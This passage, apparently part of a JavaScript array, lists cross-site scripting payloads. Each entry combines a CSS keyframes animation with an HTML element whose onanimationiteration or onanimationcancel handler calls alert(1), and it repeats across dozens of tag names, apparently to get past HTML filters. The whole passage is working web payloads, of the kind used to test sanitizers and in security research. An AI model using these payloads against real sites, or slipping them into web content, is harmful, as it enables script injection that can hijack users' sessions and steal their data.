  String.raw`<style>@keyframes slidein {}</style><element style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></element>`,
  String.raw`<style>@keyframes slidein {}</style><em style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></em>`,
  String.raw`<style>@keyframes slidein {}</style><embed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></embed>`,
  String.raw`<style>@keyframes slidein {}</style><fieldset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></fieldset>`,
  String.raw`<style>@keyframes slidein {}</style><figcaption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></figcaption>`,
  String.raw`<style>@keyframes slidein {}</style><figure style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></figure>`,
  String.raw`<style>@keyframes slidein {}</style><font style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></font>`,
  String.raw`<style>@keyframes slidein {}</style><footer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></footer>`,
  String.raw`<style>@keyframes slidein {}</style><form style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></form>`,
  String.raw`<style>@keyframes slidein {}</style><frame style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></frame>`,
  String.raw`<style>@keyframes slidein {}</style><frameset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></frameset>`,
  String.raw`<style>@keyframes slidein {}</style><h1 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></h1>`,
  String.raw`<style>@keyframes slidein {}</style><head style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></head>`,
  String.raw`<style>@keyframes slidein {}</style><header style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></header>`,
  String.raw`<style>@keyframes slidein {}</style><hgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></hgroup>`,
  String.raw`<style>@keyframes slidein {}</style><hr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></hr>`,
  String.raw`<style>@keyframes slidein {}</style><html style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></html>`,
  String.raw`<style>@keyframes slidein {}</style><i style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></i>`,
  String.raw`<style>@keyframes slidein {}</style><iframe style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></iframe>`,
  String.raw`<style>@keyframes slidein {}</style><image style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></image>`,
  String.raw`<style>@keyframes slidein {}</style><img style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></img>`,
  String.raw`<style>@keyframes slidein {}</style><input style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></input>`,
  String.raw`<style>@keyframes slidein {}</style><ins style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ins>`,
  String.raw`<style>@keyframes slidein {}</style><isindex style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></isindex>`,
  String.raw`<style>@keyframes slidein {}</style><kbd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></kbd>`,
  String.raw`<style>@keyframes slidein {}</style><keygen style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></keygen>`,
  String.raw`<style>@keyframes slidein {}</style><label style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></label>`,
  String.raw`<style>@keyframes slidein {}</style><legend style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></legend>`,
  String.raw`<style>@keyframes slidein {}</style><li style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></li>`,
  String.raw`<style>@keyframes slidein {}</style><link style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></link>`,
  String.raw`<style>@keyframes slidein {}</style><listing style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></listing>`,
  String.raw`<style>@keyframes slidein {}</style><main style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></main>`,
  String.raw`<style>@keyframes slidein {}</style><map style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></map>`,
  String.raw`<style>@keyframes slidein {}</style><mark style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></mark>`,
  String.raw`<style>@keyframes slidein {}</style><marquee style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></marquee>`,
  String.raw`<style>@keyframes slidein {}</style><menu style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></menu>`,
  String.raw`<style>@keyframes slidein {}</style><menuitem style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></menuitem>`,
  String.raw`<style>@keyframes slidein {}</style><meta style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></meta>`,
  String.raw`<style>@keyframes slidein {}</style><meter style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></meter>`,
  String.raw`<style>@keyframes slidein {}</style><multicol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></multicol>`,
  String.raw`<style>@keyframes slidein {}</style><nav style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nav>`,
  String.raw`<style>@keyframes slidein {}</style><nextid style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nextid>`,
  String.raw`<style>@keyframes slidein {}</style><nobr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nobr>`,
  String.raw`<style>@keyframes slidein {}</style><noembed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noembed>`,
  String.raw`<style>@keyframes slidein {}</style><noframes style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noframes>`,
  String.raw`<style>@keyframes slidein {}</style><noscript style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noscript>`,
  String.raw`<style>@keyframes slidein {}</style><object style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></object>`,
  String.raw`<style>@keyframes slidein {}</style><ol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ol>`,
  String.raw`<style>@keyframes slidein {}</style><optgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></optgroup>`,
  String.raw`<style>@keyframes slidein {}</style><option style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></option>`,
  String.raw`<style>@keyframes slidein {}</style><output style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></output>`,
  String.raw`<style>@keyframes slidein {}</style><p style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></p>`,
  String.raw`<style>@keyframes slidein {}</style><param style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></param>`,
  String.raw`<style>@keyframes slidein {}</style><picture style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></picture>`,
  String.raw`<style>@keyframes slidein {}</style><plaintext style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></plaintext>`,
  String.raw`<style>@keyframes slidein {}</style><pre style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></pre>`,
  String.raw`<style>@keyframes slidein {}</style><progress style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></progress>`,
  String.raw`<style>@keyframes slidein {}</style><q style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></q>`,
  String.raw`<style>@keyframes slidein {}</style><rb style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rb>`,
  String.raw`<style>@keyframes slidein {}</style><rp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rp>`,
  String.raw`<style>@keyframes slidein {}</style><rt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rt>`,
  String.raw`<style>@keyframes slidein {}</style><rtc style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rtc>`,
  String.raw`<style>@keyframes slidein {}</style><ruby style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ruby>`,
  String.raw`<style>@keyframes slidein {}</style><s style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></s>`,
  String.raw`<style>@keyframes slidein {}</style><samp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></samp>`,
  String.raw`<style>@keyframes slidein {}</style><script style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></script>`,
  String.raw`<style>@keyframes slidein {}</style><section style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></section>`,
  String.raw`<style>@keyframes slidein {}</style><select style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></select>`,
  String.raw`<style>@keyframes slidein {}</style><shadow style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></shadow>`,
  String.raw`<style>@keyframes slidein {}</style><slot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></slot>`,
  String.raw`<style>@keyframes slidein {}</style><small style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></small>`,
  String.raw`<style>@keyframes slidein {}</style><source style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></source>`,
  String.raw`<style>@keyframes slidein {}</style><spacer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></spacer>`,
  String.raw`<style>@keyframes slidein {}</style><span style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></span>`,
  String.raw`<style>@keyframes slidein {}</style><strike style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strike>`,
  String.raw`<style>@keyframes slidein {}</style><strong style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strong>`,
  String.raw`<style>@keyframes slidein {}</style><style style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></style>`,
  String.raw`<style>@keyframes slidein {}</style><sub style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sub>`,
  String.raw`<style>@keyframes slidein {}</style><summary style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></summary>`,
  String.raw`<style>@keyframes slidein {}</style><sup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sup>`,
  String.raw`<style>@keyframes slidein {}</style><svg style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></svg>`,
  String.raw`<style>@keyframes slidein {}</style><table style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></table>`,
  String.raw`<style>@keyframes slidein {}</style><tbody style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tbody>`,
  String.raw`<style>@keyframes slidein {}</style><td style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></td>`,
  String.raw`<style>@keyframes slidein {}</style><template style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></template>`,
  String.raw`<style>@keyframes slidein {}</style><textarea style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></textarea>`,
  String.raw`<style>@keyframes slidein {}</style><tfoot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tfoot>`,
  String.raw`<style>@keyframes slidein {}</style><th style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></th>`,
  String.raw`<style>@keyframes slidein {}</style><thead style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></thead>`,
  String.raw`<style>@keyframes slidein {}</style><time style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></time>`,
  String.raw`<style>@keyframes slidein {}</style><title style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></title>`,
  String.raw`<style>@keyframes slidein {}</style><tr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tr>`,
  String.raw`<style>@keyframes slidein {}</style><track style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></track>`,
  String.raw`<style>@keyframes slidein {}</style><tt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tt>`,
  String.raw`<style>@keyframes slidein {}</style><u style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></u>`,
  String.raw`<style>@keyframes slidein {}</style><ul style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ul>`,
  String.raw`<style>@keyframes slidein {}</style><var style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></var>`,
  String.raw`<style>@keyframes slidein {}</style><video style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></video>`,
  String.raw`<style>@keyframes slidein {}</style><wbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></wbr>`,
  String.raw`<style>@keyframes slidein {}</style><xmp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xmp>`,
  String.raw`<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><abbr id=x style="position:absolute;" onanimationcancel="alert(1)"></abbr>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><acronym id=x style="position:absolute;" onanimationcancel="alert(1)"></acronym>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><address id=x style="position:absolute;" onanimationcancel="alert(1)"></address>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><applet id=x style="position:absolute;" onanimationcancel="alert(1)"></applet>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><area id=x style="position:absolute;" onanimationcancel="alert(1)"></area>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><article id=x style="position:absolute;" onanimationcancel="alert(1)"></article>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><aside id=x style="position:absolute;" onanimationcancel="alert(1)"></aside>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><audio id=x style="position:absolute;" onanimationcancel="alert(1)"></audio>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><b id=x style="position:absolute;" onanimationcancel="alert(1)"></b>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><base id=x style="position:absolute;" onanimationcancel="alert(1)"></base>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><basefont id=x style="position:absolute;" onanimationcancel="alert(1)"></basefont>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdi id=x style="position:absolute;" onanimationcancel="alert(1)"></bdi>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdo id=x style="position:absolute;" onanimationcancel="alert(1)"></bdo>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bgsound id=x style="position:absolute;" onanimationcancel="alert(1)"></bgsound>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><big id=x style="position:absolute;" onanimationcancel="alert(1)"></big>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blink id=x style="position:absolute;" onanimationcancel="alert(1)"></blink>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blockquote id=x style="position:absolute;" onanimationcancel="alert(1)"></blockquote>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><body id=x style="position:absolute;" onanimationcancel="alert(1)"></body>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><br id=x style="position:absolute;" onanimationcancel="alert(1)"></br>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><button id=x style="position:absolute;" onanimationcancel="alert(1)"></button>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><canvas id=x style="position:absolute;" onanimationcancel="alert(1)"></canvas>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><caption id=x style="position:absolute;" onanimationcancel="alert(1)"></caption>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><center id=x style="position:absolute;" onanimationcancel="alert(1)"></center>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><cite id=x style="position:absolute;" onanimationcancel="alert(1)"></cite>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><code id=x style="position:absolute;" onanimationcancel="alert(1)"></code>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><col id=x style="position:absolute;" onanimationcancel="alert(1)"></col>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><colgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></colgroup>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><command id=x style="position:absolute;" onanimationcancel="alert(1)"></command>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><content id=x style="position:absolute;" onanimationcancel="alert(1)"></content>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><data id=x style="position:absolute;" onanimationcancel="alert(1)"></data>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><datalist id=x style="position:absolute;" onanimationcancel="alert(1)"></datalist>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dd id=x style="position:absolute;" onanimationcancel="alert(1)"></dd>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><del id=x style="position:absolute;" onanimationcancel="alert(1)"></del>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><details id=x style="position:absolute;" onanimationcancel="alert(1)"></details>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dfn id=x style="position:absolute;" onanimationcancel="alert(1)"></dfn>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dialog id=x style="position:absolute;" onanimationcancel="alert(1)"></dialog>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dir id=x style="position:absolute;" onanimationcancel="alert(1)"></dir>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><div id=x style="position:absolute;" onanimationcancel="alert(1)"></div>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dl id=x style="position:absolute;" onanimationcancel="alert(1)"></dl>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dt id=x style="position:absolute;" onanimationcancel="alert(1)"></dt>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><element id=x style="position:absolute;" onanimationcancel="alert(1)"></element>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><em id=x style="position:absolute;" onanimationcancel="alert(1)"></em>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><embed id=x style="position:absolute;" onanimationcancel="alert(1)"></embed>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><fieldset id=x style="position:absolute;" onanimationcancel="alert(1)"></fieldset>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figcaption id=x style="position:absolute;" onanimationcancel="alert(1)"></figcaption>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figure id=x style="position:absolute;" onanimationcancel="alert(1)"></figure>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><font id=x style="position:absolute;" onanimationcancel="alert(1)"></font>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><footer id=x style="position:absolute;" onanimationcancel="alert(1)"></footer>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><form id=x style="position:absolute;" onanimationcancel="alert(1)"></form>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frame id=x style="position:absolute;" onanimationcancel="alert(1)"></frame>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frameset id=x style="position:absolute;" onanimationcancel="alert(1)"></frameset>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><h1 id=x style="position:absolute;" onanimationcancel="alert(1)"></h1>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><head id=x style="position:absolute;" onanimationcancel="alert(1)"></head>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><header id=x style="position:absolute;" onanimationcancel="alert(1)"></header>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></hgroup>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hr id=x style="position:absolute;" onanimationcancel="alert(1)"></hr>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><html id=x style="position:absolute;" onanimationcancel="alert(1)"></html>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><i id=x style="position:absolute;" onanimationcancel="alert(1)"></i>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><iframe id=x style="position:absolute;" onanimationcancel="alert(1)"></iframe>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image id=x style="position:absolute;" onanimationcancel="alert(1)"></image>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><img id=x style="position:absolute;" onanimationcancel="alert(1)"></img>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input id=x style="position:absolute;" onanimationcancel="alert(1)"></input>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ins id=x style="position:absolute;" onanimationcancel="alert(1)"></ins>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><isindex id=x style="position:absolute;" onanimationcancel="alert(1)"></isindex>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><kbd id=x style="position:absolute;" onanimationcancel="alert(1)"></kbd>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><keygen id=x style="position:absolute;" onanimationcancel="alert(1)"></keygen>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><label id=x style="position:absolute;" onanimationcancel="alert(1)"></label>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><legend id=x style="position:absolute;" onanimationcancel="alert(1)"></legend>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><li id=x style="position:absolute;" onanimationcancel="alert(1)"></li>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><link id=x style="position:absolute;" onanimationcancel="alert(1)"></link>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><listing id=x style="position:absolute;" onanimationcancel="alert(1)"></listing>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><main id=x style="position:absolute;" onanimationcancel="alert(1)"></main>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><map id=x style="position:absolute;" onanimationcancel="alert(1)"></map>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><mark id=x style="position:absolute;" onanimationcancel="alert(1)"></mark>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><marquee id=x style="position:absolute;" onanimationcancel="alert(1)"></marquee>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menu id=x style="position:absolute;" onanimationcancel="alert(1)"></menu>`,
